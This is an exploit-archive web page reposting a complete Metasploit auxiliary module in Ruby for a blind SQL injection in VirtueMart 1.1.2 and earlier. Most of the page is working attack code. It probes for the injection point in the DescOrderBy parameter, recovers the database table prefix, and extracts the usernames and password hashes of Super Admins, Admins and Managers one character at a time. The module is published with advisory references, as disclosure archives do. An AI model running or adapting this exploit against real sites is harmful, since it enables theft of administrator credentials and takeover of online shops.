首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VirtueMart <= 1.1.2 Remote SQL Injection Exploit (meta)
来源:come2waraxe[at]yahoo.com 作者:waraxe 发布时间:2009-04-01  

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description'    => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
'License'        => MSF_LICENSE,
'Version'        => '1.0',
'References'     =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))

register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
], self.class)

end

def run

@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i

# debug_level=2 - more debug messages, 1 - less
@debug_level = 1

if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end

if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end

if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end

if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end

time_spent = Time.now.to_i - time_start

print_status("Exploitation results:")
print_status("Got data for  #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")

end
############################################################
def make_post(post_data)

timeout = 30

begin

res = send_request_cgi({
'uri'     => @target_uri,
'method'  => 'POST',
'data'  => post_data,
}, timeout)

if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end

rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)

max_tries = 10

post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"

1.upto(max_tries) do |i|

buf = make_post(post_data)

if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end

return nil
end
############################################################
def pre_test

post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end

post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false

if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end

post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end

if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end

post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"

buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end

return true
end
############################################################
def get_char(pattern, min, max)

num = get_num(pattern, min, max) or return nil

return num.chr

end
############################################################
def get_hash(group = nil, u_pos = nil)

hash = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

p_len = get_num(pattern, 32, 100) or return nil

print_status("Got hash length: #{p_len.to_s}")

1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

hash << c
print_status("Known: #{hash}") if @debug_level > 0

end

return hash

end
############################################################
def get_prefix

prefix = ''

post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end

pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'

p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10

if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end

1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0

pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"

c = get_char(pattern, 32, 128) or return nil

prefix << c
print_status("Known: #{prefix}") if @debug_level > 0

end

return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)

curr = 0;

while(1)

area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)

if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end

break
end

half = area / 2
curr = min + half

post_data = "#{pattern}>#{curr}"

bigger = test_condition(post_data)

if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end

print_status("Current: #{min}-#{max}") if @debug_level > 1

end

return len

end
############################################################
def get_username(group = nil, u_pos = nil)

username = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

u_len = get_num(pattern, 1, 150) or return nil

print_status("Got username length: #{u_len.to_s}")

1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

username << c
print_status("Known: #{username}") if @debug_level > 0

end

return username

end
############################################################
def get_users(group)

if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end

pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

u_cnt = get_num(pattern, 0, 100) or return nil

print_status("Targets to fetch: #{u_cnt.to_s}")

0.upto(u_cnt - 1) do |pos|

print_status("Fetching user pos #{pos}")

username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

end

return true
end
############################################################
def get_user

print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil

if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end

print_status("Working with user ID=#{@target_id}")

username = get_username or return nil
hash = get_hash or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

return true
end
############################################################
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Safari 3.2.2/4b (nested elemen
·VirtueMart <= 1.1.2 Multiple R
·Podcast Generator <= 1.1 Remot
·PrecisionID Datamatrix ActiveX
·The Cisco ASA5520 Web VPN suff
·Trend Micro Internet Security
·DeepBurner 1.9.0.228 Stack Buf
·Trend Micro Internet Security
·Oracle WebLogic IIS connector
·Amaya 11.1 W3C Editor/Browser
·XBMC 8.10 (GET Requests) Multi
·Opera 9.64 (7400 nested elemen
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved